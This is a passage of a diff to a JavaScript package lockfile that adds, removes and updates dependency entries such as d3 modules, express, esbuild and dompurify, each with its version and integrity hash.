+    "d3-time": ["d3-time@3.1.0", "", { "dependencies": { "d3-array": "2 - 3" } }, "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q=="],
+
+    "d3-time-format": ["d3-time-format@4.1.0", "", { "dependencies": { "d3-time": "1 - 3" } }, "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg=="],
+
+    "d3-timer": ["d3-timer@3.0.1", "", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
+
+    "d3-transition": ["d3-transition@3.0.1", "", { "dependencies": { "d3-color": "1 - 3", "d3-dispatch": "1 - 3", "d3-ease": "1 - 3", "d3-interpolate": "1 - 3", "d3-timer": "1 - 3" }, "peerDependencies": { "d3-selection": "2 - 3" } }, "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w=="],
+
+    "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="],
+
+    "dagre-d3-es": ["dagre-d3-es@7.0.14", "", { "dependencies": { "d3": "^7.9.0", "lodash-es": "^4.17.21" } }, "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg=="],
+
     "damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="],
 
     "data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="],
@@ -2527,7 +2757,7 @@
 
     "dayjs": ["dayjs@1.11.13", "", {}, "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg=="],
 
-    "debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+    "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
 
     "decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="],
 
@@ -2553,6 +2783,8 @@
 
     "define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="],
 
+    "delaunator": ["delaunator@5.0.1", "", { "dependencies": { "robust-predicates": "^3.0.2" } }, "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw=="],
+
     "delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="],
 
     "denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="],
@@ -2577,12 +2809,14 @@
 
     "didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="],
 
-    "diff": ["diff@7.0.0", "", {}, "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw=="],
+    "diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
 
     "diff-sequences": ["diff-sequences@29.6.3", "", {}, "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q=="],
 
     "diffie-hellman": ["diffie-hellman@5.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "miller-rabin": "^4.0.0", "randombytes": "^2.0.0" } }, "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg=="],
 
+    "dingbat-to-unicode": ["dingbat-to-unicode@1.0.1", "", {}, "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w=="],
+
     "dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="],
 
     "dnd-core": ["dnd-core@16.0.1", "", { "dependencies": { "@react-dnd/asap": "^5.0.1", "@react-dnd/invariant": "^4.0.1", "redux": "^4.2.0" } }, "sha512-HK294sl7tbw6F6IeuK16YSBUoorvHpY8RHO+9yFfaJyCDVb6n7PRcezrOEOa2SBCqiYpemh5Jx20ZcjKdFAVng=="],
@@ -2599,11 +2833,9 @@
 
     "domelementtype": ["domelementtype@2.3.0", "", {}, "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="],
 
-    "domexception": ["domexception@4.0.0", "", { "dependencies": { "webidl-conversions": "^7.0.0" } }, "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw=="],
-
     "domhandler": ["domhandler@5.0.3", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="],
 
-    "dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="],
+    "dompurify": ["dompurify@3.3.2", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ=="],
 
     "domutils": ["domutils@3.2.2", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="],
 
@@ -2611,6 +2843,8 @@
 
     "downloadjs": ["downloadjs@1.4.7", "", {}, "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q=="],
 
+    "duck": ["duck@0.1.12", "", { "dependencies": { "underscore": "^1.13.1" } }, "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg=="],
+
     "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="],
 
     "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="],
@@ -2639,7 +2873,7 @@
 
     "enhanced-resolve": ["enhanced-resolve@5.17.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg=="],
 
-    "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
+    "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
 
     "environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="],
 
@@ -2655,8 +2889,6 @@
 
     "es-iterator-helpers": ["es-iterator-helpers@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-abstract": "^1.23.6", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.0.3", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.6", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "iterator.prototype": "^1.1.4", "safe-array-concat": "^1.1.3" } }, "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w=="],
 
-    "es-module-lexer": ["es-module-lexer@1.6.0", "", {}, "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ=="],
-
     "es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
 
     "es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="],
@@ -2671,7 +2903,7 @@
 
     "es6-symbol": ["es6-symbol@3.1.4", "", { "dependencies": { "d": "^1.0.2", "ext": "^1.7.0" } }, "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg=="],
 
-    "esbuild": ["esbuild@0.25.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.1", "@esbuild/android-arm": "0.25.1", "@esbuild/android-arm64": "0.25.1", "@esbuild/android-x64": "0.25.1", "@esbuild/darwin-arm64": "0.25.1", "@esbuild/darwin-x64": "0.25.1", "@esbuild/freebsd-arm64": "0.25.1", "@esbuild/freebsd-x64": "0.25.1", "@esbuild/linux-arm": "0.25.1", "@esbuild/linux-arm64": "0.25.1", "@esbuild/linux-ia32": "0.25.1", "@esbuild/linux-loong64": "0.25.1", "@esbuild/linux-mips64el": "0.25.1", "@esbuild/linux-ppc64": "0.25.1", "@esbuild/linux-riscv64": "0.25.1", "@esbuild/linux-s390x": "0.25.1", "@esbuild/linux-x64": "0.25.1", "@esbuild/netbsd-arm64": "0.25.1", "@esbuild/netbsd-x64": "0.25.1", "@esbuild/openbsd-arm64": "0.25.1", "@esbuild/openbsd-x64": "0.25.1", "@esbuild/sunos-x64": "0.25.1", "@esbuild/win32-arm64": "0.25.1", "@esbuild/win32-ia32": "0.25.1", "@esbuild/win32-x64": "0.25.1" }, "bin": "bin/esbuild" }, "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ=="],
+    "esbuild": ["esbuild@0.27.3", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.3", "@esbuild/android-arm": "0.27.3", "@esbuild/android-arm64": "0.27.3", "@esbuild/android-x64": "0.27.3", "@esbuild/darwin-arm64": "0.27.3", "@esbuild/darwin-x64": "0.27.3", "@esbuild/freebsd-arm64": "0.27.3", "@esbuild/freebsd-x64": "0.27.3", "@esbuild/linux-arm": "0.27.3", "@esbuild/linux-arm64": "0.27.3", "@esbuild/linux-ia32": "0.27.3", "@esbuild/linux-loong64": "0.27.3", "@esbuild/linux-mips64el": "0.27.3", "@esbuild/linux-ppc64": "0.27.3", "@esbuild/linux-riscv64": "0.27.3", "@esbuild/linux-s390x": "0.27.3", "@esbuild/linux-x64": "0.27.3", "@esbuild/netbsd-arm64": "0.27.3", "@esbuild/netbsd-x64": "0.27.3", "@esbuild/openbsd-arm64": "0.27.3", "@esbuild/openbsd-x64": "0.27.3", "@esbuild/openharmony-arm64": "0.27.3", "@esbuild/sunos-x64": "0.27.3", "@esbuild/win32-arm64": "0.27.3", "@esbuild/win32-ia32": "0.27.3", "@esbuild/win32-x64": "0.27.3" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg=="],
 
     "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
 
@@ -2683,8 +2915,6 @@
 
     "escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="],
 
-    "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "escodegen": "bin/escodegen.js", "esgenerate": "bin/esgenerate.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="],
-
     "eslint": ["eslint@9.39.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", "@eslint/config-array": "^0.21.1", "@eslint/config-helpers": "^0.4.2", "@eslint/core": "^0.17.0", "@eslint/eslintrc": "^3.3.1", "@eslint/js": "9.39.1", "@eslint/plugin-kit": "^0.4.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", "@types/estree": "^1.0.6", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.6", "debug": "^4.3.2", "escape-string-regexp": "^4.0.0", "eslint-scope": "^8.4.0", "eslint-visitor-keys": "^4.2.1", "espree": "^10.4.0", "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "json-stable-stringify-without-jsonify": "^1.0.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3" }, "peerDependencies": { "jiti": "*" }, "bin": "bin/eslint.js" }, "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g=="],
 
     "eslint-config-prettier": ["eslint-config-prettier@10.0.1", "", { "peerDependencies": { "eslint": ">=7.0.0" }, "bin": "build/bin/cli.js" }, "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw=="],
@@ -2755,11 +2985,11 @@
 
     "export-from-json": ["export-from-json@1.7.4", "", {}, "sha512-FjmpluvZS2PTYyhkoMfQoyEJMfe2bfAyNpa5Apa6C9n7SWUWyJkG/VFnzERuj3q9Jjo3iwBjwVsDQ7Z7sczthA=="],
 
-    "express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
+    "express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="],
 
     "express-mongo-sanitize": ["express-mongo-sanitize@2.2.0", "", {}, "sha512-PZBs5nwhD6ek9ZuP+W2xmpvcrHwXZxD5GdieX2dsjPbAbH4azOkrHbycBud2QRU+YQF1CT+pki/lZGedHgo/dQ=="],
 
-    "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="],
+    "express-rate-limit": ["express-rate-limit@8.3.1", "", { "dependencies": { "ip-address": "10.1.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw=="],
 
     "express-session": ["express-session@1.18.2", "", { "dependencies": { "cookie": "0.7.2", "cookie-signature": "1.0.7", "debug": "2.6.9", "depd": "~2.0.0", "on-headers": "~1.1.0", "parseurl": "~1.3.3", "safe-buffer": "5.2.1", "uid-safe": "~2.1.5" } }, "sha512-SZjssGQC7TzTs9rpPDuUrR23GNZ9+2+IkA/+IJWmvQilTr5OSliEHGF+D9scbIpdC6yGtTI0/VhaHoVes2AN/A=="],
 
@@ -2787,7 +3017,7 @@
 
     "fast-uri": ["fast-uri@3.0.6", "", {}, "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw=="],
 
-    "fast-xml-parser": ["fast-xml-parser@4.4.1", "", { "dependencies": { "strnum": "^1.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw=="],
+    "fast-xml-parser": ["fast-xml-parser@5.3.8", "", { "dependencies": { "strnum": "^2.1.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw=="],
 
     "fastq": ["fastq@1.17.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="],
 
@@ -2849,7 +3079,7 @@
 
     "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="],
 
-    "fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
+    "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
 
     "framer-motion": ["framer-motion@12.23.9", "", { "dependencies": { "motion-dom": "^12.23.9", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-TqEHXj8LWfQSKqfdr5Y4mYltYLw96deu6/K9kGDd+ysqRJPNwF9nb5mZcrLmybHbU7gcJ+HQar41U3UTGanbbQ=="],
 
@@ -2867,7 +3097,7 @@
 
     "functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="],
 
-    "gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
+    "gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
 
     "gcp-metadata": ["gcp-metadata@5.3.0", "", { "dependencies": { "gaxios": "^5.0.0", "json-bigint": "^1.0.0" } }, "sha512-FNTkdNEnBdlqF2oatizolQqNANMrcqJt6AAYt99B3y1aLLC8Hc5IOBb+ZnnzllodEEf6xMBp6wRcBbc16fa65w=="],
 
@@ -2897,12 +3127,10 @@
 
     "get-tsconfig": ["get-tsconfig@4.10.0", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-kGzZ3LWWQcGIAmg6iWvXn0ei6WDtV26wzHRMwDSzmAbcXrTEXxHy6IehI6/4eT6VRKyMP1eF1VqwrVUmE/LR7A=="],
 
-    "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="],
+    "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="],
 
     "glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
 
-    "glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="],
-
     "globals": ["globals@15.14.0", "", {}, "sha512-OkToC372DtlQeje9/zHIo5CT8lRP/FUgEOKBEhU4e0abL7J7CD24fD9ohiLN5hagG/kWCYj4K5oaxxtj2Z0Dig=="],
 
     "globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="],
@@ -2911,8 +3139,6 @@
 
     "google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="],
 
-    "googleapis-common": ["googleapis-common@7.0.1", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^6.0.3", "google-auth-library": "^9.0.0", "qs": "^6.7.0", "url-template": "^2.0.8", "uuid": "^9.0.0" } }, "sha512-mgt5zsd7zj5t5QXvDanjWguMdHAcJmmDrF9RkInCecNsyV7S7YtGqm5v2IWONNID88osb7zmx5FtrAP12JfD0w=="],
-
     "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
 
     "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
@@ -2921,10 +3147,14 @@
 
     "gtoken": ["gtoken@7.1.0", "", { "dependencies": { "gaxios": "^6.0.0", "jws": "^4.0.0" } }, "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw=="],
 
+    "hachure-fill": ["hachure-fill@0.5.2", "", {}, "sha512-3GKBOn+m2LX9iq+JC1064cSFprJY4jL1jCXTcpnfER5HYE2l/4EfWSGzkPa/ZDBmYI0ZOEj5VHV/eKnPGkHuOg=="],
+
